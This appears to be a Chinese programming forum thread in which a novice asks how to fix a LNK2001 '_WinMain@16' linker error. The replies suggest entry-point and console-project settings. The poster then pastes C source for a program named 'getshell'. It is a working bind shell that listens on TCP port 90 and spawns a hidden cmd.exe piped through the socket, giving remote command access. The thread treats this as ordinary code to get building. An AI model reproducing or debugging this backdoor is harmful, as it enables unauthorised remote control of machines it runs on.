小弟是新手,在连接时,发生这样的问题
Error LNK2001: '_WinMain@16': Unresolved External Symbol
于是,我相到了
在工程菜单中的SETTING(alt+F7),找到“连接标签”看到里面有:
Project Options:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /incremental:yes /pdb:"Debug/getshell.pdb" /debug /machine:I386 /out:"Debug/getshell.exe" /pdbtype:sept
可是,里面没有我程序用到的#pragma comment(lib, "kernel32.lib"),于是,我就把它加了进去,(加到了 /nologo的前面),可是连接时,还是出现上面的字样,这是为什么呀?
谢了,搞明白,马上送分:)
Error LNK2001: '_WinMain@16': Unresolved External Symbol
于是,我相到了
在工程菜单中的SETTING(alt+F7),找到“连接标签”看到里面有:
Project Options:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /incremental:yes /pdb:"Debug/getshell.pdb" /debug /machine:I386 /out:"Debug/getshell.exe" /pdbtype:sept
可是,里面没有我程序用到的#pragma comment(lib, "kernel32.lib"),于是,我就把它加了进去,(加到了 /nologo的前面),可是连接时,还是出现上面的字样,这是为什么呀?
谢了,搞明白,马上送分:)
或者取消__UNICODE的定义。
才刚把输入项点-符号那里(SETTING(alt+F7),找到“连接标签”-》分类选了OUTPUT,在输入项点-符号(Entry Point Symbol )),写入了wWinMainCRTStartUp
可是,结果还那样,只不unresolved external symbol _wWinMainCRTStartUp
取消_UNICODE什么意思?
编译提示没有WinMain函数,是因为当前编译选项为Win32应用程序。
如果你的程序是基于main函数写的,当然不行。
你可以创建一个基于控制台的应用程序(即main函数类型),即在应用程序向导第一步选Console(或控制台)类型。
通常做程序使用MFC应用程序向导中的(多文档、单文档、或对话框)
我把代码贴出来,当然不是我写的,没这么高的水平:P
你们看看,到底是在哪有有问题,
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe,hWriteFile,hReadFile;
u_char varA,varB;DWORD WINAPI ThreadFuncA(LPVOID lpParam)
{SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite,nByteWritten;
char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor=NULL;
pipeattr.bInheritHandle=TRUE;
CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0); varA=1;
while(TRUE)
{Sleep(250);
nByteToWrite=recv(ClientSocket,recv_buff,1024,0);
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
}
return 0;
}DWORD WINAPI ThreadFuncB(LPVOID lpParam)
{SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000]; pipeattr.nLength=sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor=NULL;
pipeattr.bInheritHandle=TRUE; CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); varB=1;
while(TRUE)
{ReadFile(hReadFile,send_buff,25000,&len,NULL);
send(ClientSocket,send_buff,len,0);
}
return 0;
}void main(void)
{WSADATA WSAData;
struct sockaddr_in RemoteAddr;
// int nRetCode;
char szAPP[256];
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port=htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr=INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)); listen(ServerSocket,5); varA=0;
varB=0; CreateThread(NULL,0,ThreadFuncA,NULL,0,&dwThreadIdA);
CreateThread(NULL,0,ThreadFuncB,NULL,0,&dwThreadIdB); do
{Sleep(250);
}while((varA||varB)==0); GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError=hWritePipe;
startinfo.hStdOutput=hWritePipe;
startinfo.wShowWindow=SW_HIDE; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi);
GetSystemDirectory(szAPP,MAX_PATH+1); if (osvi.dwPlatformId==2)
{strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startinfo,&processinfo)==0)
{printf("CreateProcess Error!\n");
return ;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,TRUE,0,0,0,&startinfo,&processinfo);
}
while(TRUE)
{ClientSocket=accept(ServerSocket,NULL,NULL);
Sleep(250);
}
}